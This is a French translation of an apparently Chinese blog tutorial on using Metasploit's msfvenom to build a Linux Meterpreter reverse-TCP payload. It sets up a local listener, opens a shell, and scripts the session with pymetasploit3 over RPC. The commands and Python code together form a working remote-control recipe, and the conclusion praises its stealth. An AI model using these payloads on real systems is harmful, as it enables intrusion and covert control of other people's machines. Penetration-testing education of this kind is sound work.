Utilisez Metasploit pour générer un programme shell de rebond afin d'obtenir un contrôle à distance

1. À propos du métasploit

        Metasploit est un framework de test d'intrusion open source développé et maintenu par Rapid7. Il fournit un ensemble puissant d'outils et de ressources pour évaluer et tester la sécurité des systèmes informatiques. L'objectif de Metasploit est d'aider les professionnels de la sécurité à découvrir et à exploiter les vulnérabilités des systèmes afin d'améliorer la sécurité des systèmes.

        Contexte de Metasploit :
        Créé à l'origine par HD Moore en 2003, Metasploit était à l'origine un ensemble d'outils de sécurité open source destiné à simplifier les tests d'intrusion et les exploits du réseau. Il a commencé comme un outil en ligne de commande, mais au fil du temps, Metasploit a évolué pour devenir un cadre de test d'intrusion puissant et facile à utiliser. Sa nature open source permet à la communauté mondiale de la sécurité de contribuer et d’améliorer Metasploit, ce qui en fait l’un des outils de test d’intrusion les plus populaires aujourd’hui.

Les principales fonctions de Metasploit :
1. Analyse et évaluation des vulnérabilités : Metasploit fournit un puissant moteur d'analyse des vulnérabilités, qui peut être utilisé pour rechercher automatiquement les vulnérabilités dans le système cible. Il peut rechercher les vulnérabilités courantes, telles que l'injection SQL, XSS, etc., et générer des rapports détaillés pour aider les professionnels de la sécurité à évaluer la sécurité du système.

2. Exploitation : Metasploit fournit un ensemble complet de modules d'exploitation pour exploiter les vulnérabilités connues du système. Ces modules peuvent être utilisés pour accéder au système cible, exécuter des commandes, extraire des informations sensibles, etc.

3. Ingénierie sociale : Metasploit fournit également des modules d'ingénierie sociale pour tester les compétences d'une personne en matière de phishing, de distribution de logiciels malveillants, etc. Ces modules aident les professionnels de la sécurité à évaluer la résilience des employés face aux attaques d'ingénierie sociale.

4. Contrôle à distance : Une fonction importante de Metasploit est la possibilité de fournir un contrôle à distance. En établissant une connexion à un système cible, les professionnels de la sécurité peuvent exécuter des commandes à distance, charger et télécharger des fichiers, prendre des captures d'écran, etc.

5. Architecture modulaire : L'architecture de Metasploit est modulaire, ce qui permet aux utilisateurs de personnaliser et d'étendre ses fonctionnalités selon leurs besoins. Les utilisateurs peuvent écrire leurs propres modules ou obtenir des modules partagés par d'autres utilisateurs de la communauté Metasploit.

6. Automatisation et intégration : Metasploit peut être intégré à d'autres outils et plates-formes de sécurité pour automatiser les tests d'intrusion et la gestion des vulnérabilités. Il peut être intégré à des outils tels que Nessus et Nmap pour fournir une solution de test d'intrusion plus complète.

En résumé :
        Metasploit est un puissant framework de tests d'intrusion conçu pour aider les professionnels de la sécurité à évaluer et à améliorer la sécurité de leurs systèmes. Il fournit une série de fonctions telles que l'analyse des vulnérabilités, l'exploitation des vulnérabilités, l'ingénierie sociale, le contrôle à distance, etc., permettant aux professionnels de la sécurité de mieux découvrir et exploiter les vulnérabilités du système. La nature open source et l'architecture modulaire de Metasploit en font une communauté de sécurité active où les utilisateurs peuvent contribuer et améliorer Metasploit, en le gardant à jour et adaptable à l'environnement des menaces en constante évolution.

        Si vous souhaitez utiliser Metasploit, le moyen le plus simple est d'utiliser Linux-Kali. Pour la méthode d'installation, veuillez vous référer au blog.

5 minutes pour terminer l'installation de Kali Linux (basée sur VirtualBox)_installation de virtualbox kali_Blog de Xiaoxiangzi-Blog CSDN

2. Générez un programme shell de rebond à l'extrémité contrôlée, et l'extrémité de contrôle maître envoie des commandes de télécommande

2.1 Générer un programme de shell de rebond

        Utilisez msfvenom sur la machine Kali pour créer un programme shell de rebond comme extrémité contrôlée, et le programme shell de rebond se connectera activement au port ouvert de la console principale.

        Ici, j'ai défini l'adresse IP du terminal de contrôle principal comme adresse IP locale 127.0.0.1, et le port du terminal de contrôle principal est 4444. Étant donné que la fin contrôlée est exécutée sur la machine locale Kali, la charge utile sélectionne « linux/x64/meterpreter/reverse_tcp ». Il existe de nombreux types de charges utiles, vous pouvez rechercher "reverse_tcp" sur msfconsole, vous pouvez trouver un grand nombre de charges utiles, qu'il s'agisse de Windows ou d'Android, vous pouvez trouver la charge utile qui convient à l'environnement d'exploitation de votre terminal contrôlé.

┌──(root㉿kali)-[/home/kali/reverse_tcp_test]
└─# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o client_x64.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: client_x64.bin

2.2 Configurer la console et exécuter les commandes de contrôle à distance

        Ouvrez Metasploit en tapant "msfconsole" à partir de la ligne de commande Kali.

        Utilisez la commande suivante pour configurer l'hôte :

use payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
set ExitOnSession false

Une fois la configuration terminée, utilisez

exploit -j -z

Ouvrez le port d'écoute du contrôle maître.

        Ajoutez l'autorisation d'exécution à client_x64.bin et exécutez-la. Vous pouvez voir que l'extrémité active a une "session Meterpreter" (127.0.0.1:4444 -> 127.0.0.1:45906).

        Utilisez sessions -l après "ctrl +c", vous pouvez voir l'identifiant de session établi à ce moment-là et vous pouvez entrer dans le shell de rebond via "session -i id". Vous pouvez exécuter certaines commandes dans le shell inversé, mais vous pouvez facilement constater que les commandes pouvant être exécutées sont très limitées. (ls peut être exécuté, mais whoami, echo, etc. ne peuvent pas être exécutés)

        Vous devez entrer dans la coquille pour améliorer vos capacités. Dans Meterpreter, "meterpreter > shell" signifie passer d'une session Meterpreter au shell interactif du système cible. Cela signifie que vous pouvez exécuter des commandes et des actions sur le système cible comme si elles se trouvaient dans l'interface de ligne de commande du système local. Il s'agit d'une étape importante car elle vous permet d'interagir directement avec le système cible et d'effectuer des tâches et des opérations plus avancées.

        OK, vous pouvez maintenant contrôler avec succès l'extrémité contrôlée. Si l'autorité du programme de l'extrémité contrôlée est plus élevée, vous pouvez faire plus de choses.

        La capture d'écran de l'ensemble de l'exécution du processus est la suivante :

3. Utilisez l'API du framework Metasploit pour réaliser des commandes de contrôle d'envoi personnalisées automatiques

3.1 Pymétasploit3

Pymetasploit3 est une API pour le framework Metasploit écrit en Python. Il offre la possibilité d'interagir avec le framework Metasploit, permettant aux utilisateurs d'utiliser diverses fonctions et outils de Metasploit par programme. Voici les principales utilisations de Pymetasploit3 :

1. Automatisation des tests d'intrusion : Pymetasploit3 permet aux utilisateurs d'automatiser les tâches de tests d'intrusion en écrivant des scripts Python. Les utilisateurs peuvent utiliser l'API Pymetasploit3 pour effectuer diverses opérations de tests d'intrusion, telles que la recherche de vulnérabilités, l'exploitation des vulnérabilités, l'accès au système cible, etc. Cela permet aux testeurs d'intrusion d'effectuer des tâches répétitives plus efficacement et d'intégrer le framework Metasploit dans leur flux de travail.

2. Développement de modules personnalisés : Pymetasploit3 fournit un ensemble d'API qui permettent aux utilisateurs d'écrire leurs propres modules Metasploit. Les utilisateurs peuvent utiliser l'API Pymetasploit3 pour développer des modules personnalisés en fonction de leurs propres besoins et caractéristiques du système cible afin de réaliser des tests d'intrusion plus précis et plus efficaces. Cela permet aux utilisateurs d'étendre et de personnaliser les fonctionnalités du framework Metasploit en fonction de scénarios et de besoins spécifiques.

3. Analyse des données et génération de rapports : Pymetasploit3 fournit des fonctions d'accès et de traitement des données générées par le framework Metasploit. Les utilisateurs peuvent utiliser l'API Pymetasploit3 pour obtenir les données de résultat pendant le processus de test d'intrusion, telles que les rapports d'analyse, les informations sur les vulnérabilités, etc. Cela permet aux utilisateurs d'analyser et d'interpréter les résultats des tests d'intrusion et de générer des rapports détaillés pour communiquer les résultats des tests et les recommandations aux parties prenantes.

4. Gestion et suivi des vulnérabilités : Pymetasploit3 permet aux utilisateurs de gérer et de suivre les vulnérabilités par programme. Les utilisateurs peuvent utiliser l'API Pymetasploit3 pour obtenir des informations sur les vulnérabilités, mettre à jour l'état des vulnérabilités, suivre la progression de la réparation des vulnérabilités, etc. Cela permet aux utilisateurs de mieux organiser et gérer les vulnérabilités détectées lors des tests d’intrusion, améliorant ainsi l’efficacité et la précision de la correction des vulnérabilités.

        En résumé :
        Pymetasploit3 est une API pour le framework Metasploit écrite en Python qui fournit des fonctionnalités pour interagir avec le framework Metasploit. Ses principales utilisations comprennent l'automatisation des tests d'intrusion, le développement de modules personnalisés, l'analyse de données et la génération de rapports, ainsi que la gestion et le suivi des vulnérabilités. Grâce à Pymetasploit3, les utilisateurs peuvent effectuer par programme des tâches de tests d'intrusion plus efficacement, personnaliser et étendre les fonctions du framework Metasploit, ainsi qu'analyser et rapporter les résultats des tests.

3.2 Certains programmes utilisant Pymetasploit3

3.2.1 À propos du RPC

        Besoin d'entrer avant d'utiliser

load msgrpc

        verra la sortie

msf6 payload(linux/x64/meterpr
eter/reverse_tcp) > load msgrpc                
[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: DCcxOGeW
[*] Successfully loaded plugin: msgrpc

        Le mot de passe RPC "DCcxOGeW" est généré ici, qui sera utilisé ultérieurement. Bien entendu, le mot de passe ici peut également être configuré par vous-même.

        Peut-être voulez-vous demander, que peut faire « load msgrpc » ? Son rôle est de charger le service Metasploit RPC (Remote Procedure Call) pour la communication et le contrôle à distance avec le framework Metasploit.

        Plus précisément, la commande « load msgrpc » démarre un service RPC qui permet aux utilisateurs de se connecter au framework Metasploit sur le réseau et d'interagir à l'aide de l'API. Une fois le service RPC démarré, les utilisateurs peuvent écrire des scripts dans divers langages de programmation (tels que Python, Ruby, etc.), communiquer avec le framework Metasploit via l'API et effectuer diverses tâches et opérations de tests d'intrusion.

        En chargeant msgrpc, les utilisateurs peuvent réaliser les fonctions suivantes :

1. Contrôle à distance : les utilisateurs peuvent se connecter au framework Metasploit via le réseau pour effectuer diverses tâches de tests d'intrusion à distance, telles que la recherche de vulnérabilités, l'exploitation des vulnérabilités, l'obtention de droits d'accès, etc. Ceci est très utile pour les scénarios dans lesquels des tâches de test d'intrusion doivent être effectuées à distance, comme l'exécution de tâches de test d'intrusion sur un serveur distant.

2. Automatisation et intégration : grâce au service RPC, les utilisateurs peuvent écrire des scripts pour automatiser les tâches de tests d'intrusion et intégrer le framework Metasploit dans leur flux de travail. Les utilisateurs peuvent utiliser divers langages et outils de programmation pour interagir avec le framework Metasploit, permettant ainsi des tests d'intrusion plus efficaces et personnalisés.

3. Tests d'intrusion distribués : en démarrant plusieurs services RPC, les utilisateurs peuvent mettre en œuvre des tests d'intrusion distribués. Cela signifie que les utilisateurs peuvent effectuer des tâches de tests d'intrusion sur plusieurs machines en même temps, améliorant ainsi l'efficacité et la rapidité des tests.

3.2.2 programme python (juste un programme de référence)

Vous pouvez écrire le fichier python suivant pour vous connecter au framework Metasploit à l'aide du service Metasploit RPC (Remote Procedure Call) :

# -*- coding:utf-8 -*-
from pymetasploit3.msfrpc import MsfRpcClient
#参数需要参考msgrpc的输出
client = MsfRpcClient(password='DCcxOGeW', server='127.0.0.1', port=55552)
#session id需要通过“sessions -l”来获得,一般是1
session=client.sessions.session("1")
if session:
    print("Meterpreter会话已建立")
    shell = session.start_shell()
    if shell:
        print("交互式Shell已启动")

        while True:
            command = input("请输入命令:")
            if command.lower() == "exit":
                break
            else:
                print("您输入的命令是:",command)
                session.write(command + "\n")
                output = session.read()
                print(output)
    else:
        print("无法启动交互式Shell")

J'ai également vu qu'il existe de nombreuses autres façons d'écrire sur github, et j'en énumérerai quelques-unes pour référence.

GitHub - Coalfire-Research/pymetasploit3 à 0afc16bc04016187de6786dbb93c94874b5e3101

https://github.com/ir-st/ANPT/blob/62213fd804887f4d78531af87696b743c2e684a6/example/MsfRPC%20testing.py#L4

https://github.com/sec-js/Xerror/blob/07ec57cabcd27cdb47c89af452bdf4ed07207347/xerror/parsing/msf_rpc_session_handler.py#L3

4. Enfin

        La méthode de Metasploit pour générer un shell inversé pour le contrôle à distance présente les avantages suivants :

1. Hautement personnalisable : le framework Metasploit fournit une multitude de modules et d'outils permettant de générer des coques de rebond personnalisées en fonction de besoins spécifiques. Les utilisateurs peuvent choisir les modules et configurations correspondants en fonction des caractéristiques et des conditions réelles du système cible, afin d'obtenir un contrôle à distance plus précis et plus efficace.

2. Prise en charge multiplateforme : le framework Metasploit prend en charge plusieurs systèmes d'exploitation et plates-formes, notamment Windows, Linux, Mac, etc. Cela signifie que les utilisateurs peuvent utiliser Metasploit pour générer des shells inversés adaptés à différents systèmes d'exploitation afin d'obtenir un contrôle à distance multiplateforme.

3. Puissante capacité à exploiter les vulnérabilités : le framework Metasploit intègre un grand nombre de modules d'exploitation, qui peuvent utiliser des vulnérabilités connues pour accéder au système cible. En générant un shell inversé, les utilisateurs peuvent utiliser ces modules d'exploitation pour réaliser un contrôle à distance, effectuant ainsi diverses opérations sur le système cible, telles que l'exécution de commandes, le téléchargement de fichiers et l'obtention d'informations sensibles.

4. Aucune installation préalable de logiciel malveillant requise : les méthodes de génération de shells inversés ne nécessitent généralement aucune installation préalable de logiciel malveillant sur le système cible. Cela signifie qu'en exploitant les vulnérabilités connues, les utilisateurs peuvent exécuter directement du code sur le système cible pour obtenir un contrôle à distance sans laisser de traces sur le système cible pouvant être détectées et supprimées.

5. Très flexible et extensible : la méthode de génération de shell inversé du framework Metasploit peut être personnalisée et étendue en fonction des besoins spécifiques. Les utilisateurs peuvent utiliser l'API et le langage de programmation fournis par le framework Metasploit pour écrire des modules et des scripts personnalisés afin d'obtenir des fonctions de contrôle à distance plus complexes et spécifiques.
        Par conséquent, la méthode de Metasploit pour générer des shells inversés pour le contrôle à distance présente les avantages d'une personnalisation élevée, d'une prise en charge multiplateforme, de puissantes capacités d'exploitation des vulnérabilités, de l'absence d'installation de logiciels malveillants à l'avance, ainsi que d'une grande flexibilité et évolutivité. Cela permet aux utilisateurs d'obtenir un contrôle à distance précis, efficace et discret en fonction des besoins et des caractéristiques spécifiques du système cible.

Je suppose que tu aimes

Origine blog.csdn.net/qq_33163046/article/details/132328117
conseillé
Classement